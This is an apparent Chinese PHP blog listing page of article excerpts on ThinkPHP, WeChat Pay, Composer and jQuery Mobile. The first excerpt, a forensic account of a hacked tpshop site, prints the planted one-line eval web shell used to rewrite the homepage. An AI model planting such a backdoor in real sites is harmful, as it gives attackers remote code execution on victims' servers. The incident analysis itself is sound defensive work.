很抱歉,此文不对外开放。如确需与博主沟通,您可以扫描二维码添加博主微信并注明来意...
客户网站(使用tpshop开发)被黑,首页跳转到其他网站。经过查询网站日志发现可能是通过/vendor/phpunit/phpunit/src/Util/PHP/asd.php这个文件篡改网站首页文件的。这个文件的代码为:<?php echo "tpshop";eval($_POST[0]);?>通过这个文件,可以发送post请求,修改首页文件。asp.php这个文件怎么上传到服务器的呢?继续分析日志发现应该是经过/vend...
2018-07-02 /
6235 次浏览 /
PHP基础
$num=3;if(is_int($num+0)){ echo'right';}else{ echo'false';}+0是必要的...
2018-04-02 /
504 次浏览 /
PHP基础
之前写过一篇文章讲了PHP实现微信支付(jsapi支付)流程,详见文章:PHP实现微信支付(jsapi支付)流程。当时的环境是没有使用框架的,直接在一个域名指向的目录下边新建目录之后访问该目录实现的,但应用到框架中,还是有一些问题,在ThinkPHP中,由于路由规则与支付授权目录有出入,所以会报错。本篇讲讲在TP中集成微信支付的流程。鹅厂出的SDK和文档,就是让你看不懂,使劲绕,这酸爽用了就知道。文档和SDK不是应该越简单通俗易懂越好么?难道只有使劲重构才能显示出鹅厂程序...
win下php5.4安装ffmpeg-php扩展1.ffmpeg的官网没有提供ffmpeg-phpdll的扩展下载。1http://ffmpeg-php.sourceforge.net/虽然在http://sourceforge.net/上提供了ffmpeg-phpwindowsbuilds但版本过低,编译出来,php5.4无法使用。 网上有人把重新编译好的放出下载,不过我试了一下,我的php5.4无法使用,不过php5.3的可以试下。1http://serg...
Composer是新一代的PHP依赖管理工具。其介绍和基本用法可以看这篇《ComposerPHP依赖管理的新时代》。本文介绍使用Composer的五个小技巧,希望能给你的PHP开发带来方便。1.仅更新单个库只想更新某个特定的库,不想更新它的所有依赖,很简单:composer update foo/bar此外,这个技巧还可以用来解决“警告信息问题”。你一定见过这样的警告信息:Warning: The lock file&nb...
jqueryMobile默认使用ajax提交表单。所以无法正常显示thinkphp的success或者error跳转。需要禁用jquerymobile的ajax提交即可解决办法:禁止ajxa跳转有两种情况:1、禁止局部ajax跳转2、禁止全局ajax跳转 对于#1只需要在a标签中添加下面的属性:data-ajax=“false”有时我们要用正常的http请求而不用Ajax请求,比如链接到别的网站等情况。通过给a标签加下面的属性,可以将链接指定为正常的http请...
ComPay.class.zip第一步:将解压后的文件,放到ThinkPHP/Library/Com/目录第二步:在需要付款的流程中引入接口:文件顶部:useCom\ComPay;$cp= new ComPay();$cp->setMchAppid($appid);$cp->setOpenid($openid);$cp->setAmount($amount);$cp->setDesc($desc);$cp-&...
json_decode(json_encode(simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOCDATA)),true);...
thinkphp模板如何截取中文字符串代码˂brstyle="color:rgb(50,50,50);font-family:"CenturyGothic&...